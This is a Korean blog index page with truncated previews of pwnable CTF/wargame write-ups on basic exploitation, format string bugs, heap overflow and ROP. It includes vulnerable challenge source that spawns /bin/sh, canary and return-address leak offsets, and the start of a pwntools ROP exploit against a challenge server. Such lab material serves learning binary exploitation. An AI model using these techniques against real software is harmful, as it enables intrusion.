포너블(18)
-
basic_exploitation_003 풀이
#include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize(); read(0, heap_buf, 0x80..
2021.08.04 -
FSB 문제 풀이 (2)
- 소스코드 분석 0x20 크기의 char형 배열 format이 선언되어있습니다. 이 배열에 길이 10만큼 입력을 받고, printf() 함수로 출력합니다. 그런데, 여기서 printf() 함수에 format string이 없으니 FSB 취약점이 발생합니다. 그리고 read() 함수로 다시 입력을 받습니다. 소스코드 분석은 이 정도면 된 것 같습니다. 이번 문제는 저번 문제와는 다르게 Stack Canary 보호 기법이 걸려있습니다. 이에 초점을 맞춰서 아이디어를 짜보겠습니다. - RSI, RDX, RCX, R8, R9 5개 + ret 1개 + sfp 직전 (0x20/8) + sfp 1개 = 11개 -> return address값 leak - RSI, RDX, RCX, R8, R9 5개 + Canary..
2021.08.03 -
basic_heap_overflow 풀이
#include #include #include #include #include struct over { void (*table)(); }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void table_func() { printf("overwrite_me!"); } int main() { char *ptr = malloc(0x20); struct o..
2021.08.03 -
FSB 문제 풀이 (1)
- 소스코드 분석 우선 format이라는 크기 0x10 크기의 char형 배열이 있습니다. 이 배열에 입력을 받고, printf() 함수로 출력을 해준 뒤에 다시 read로 입력을 받습니다. 그런데 여기서 printf() 함수를 보면 포맷 스트링이 없는 것을 볼 수 있습니다. 포맷 스트링이 없다는 건 FSB 취약점이 발생한다는 거죠. 소스코드 자체는 간단해서 이 정도만 분석해도 될 것 같습니다. 이제 return address에 있는 값을 leak 해보겠습니다. 우선 레지스터의 개수는 RSI, RDX, RCX, R8, R9 이렇게 5개가 있습니다. 여기에 ret의 위치를 1개 더하면 6이 됩니다. 그리고 sfp 직전까지 가야 하니 6에 (0x10/8)을 더합니다. 그러면 8이 되고, 거기에 sfp의 크기..
2021.08.01 -
여러가지 ROP 문제 풀이
- rop32 풀이 from pwn import * p=remote('sunrin.site', 9003) e=ELF('./rop32') libc=ELF('./libc.so.6.rop32') read=libc.symbols['read'] read_got=e.got['read'] read_plt=e.plt['read'] main=e.symbols['main'] system=libc.symbols['system'] bss=e.bss() printf_plt=e.plt['printf'] pr=0x0804855b payload='A'*0x3a+'B'*4 payload+=p32(printf_plt)+p32(pr)+p32(read_got) payload+=p32(read_plt) payload+=p32(main)+p3..
2021.08.01 -
basic_rop_x64 풀이
이번 문제도 basic_rop_x86과 같이 C 소스코드를 제공합니다. 코드 자체는 basic_rop_x86과 똑같으니 코드 분석은 생략하도록 하겠습니다. 만약 코드 분석이 보고 싶으신 분들은 아래에 달린 링크로 들어가서 봐주시면 됩니다. [ basic_rop_x86 풀이 ] basic_rop_x86 풀이 문제에서 C 소스코드를 주네요? 분석해보겠습니다. 우선 initialize(), alarm_handler() 함수는 중요해 보이지 않으니 한 줄 해석만 하겠습니다. initialize() : buf 세팅, 30초 후에 alarm_handler() 함수에게.. studykty.tistory.com 푸는 방식은 basic_rop_x86과 비슷할 것 같으니, 그때 썼던 코드를 최대한 활용해보겠습니다. 우선,..
2021.08.01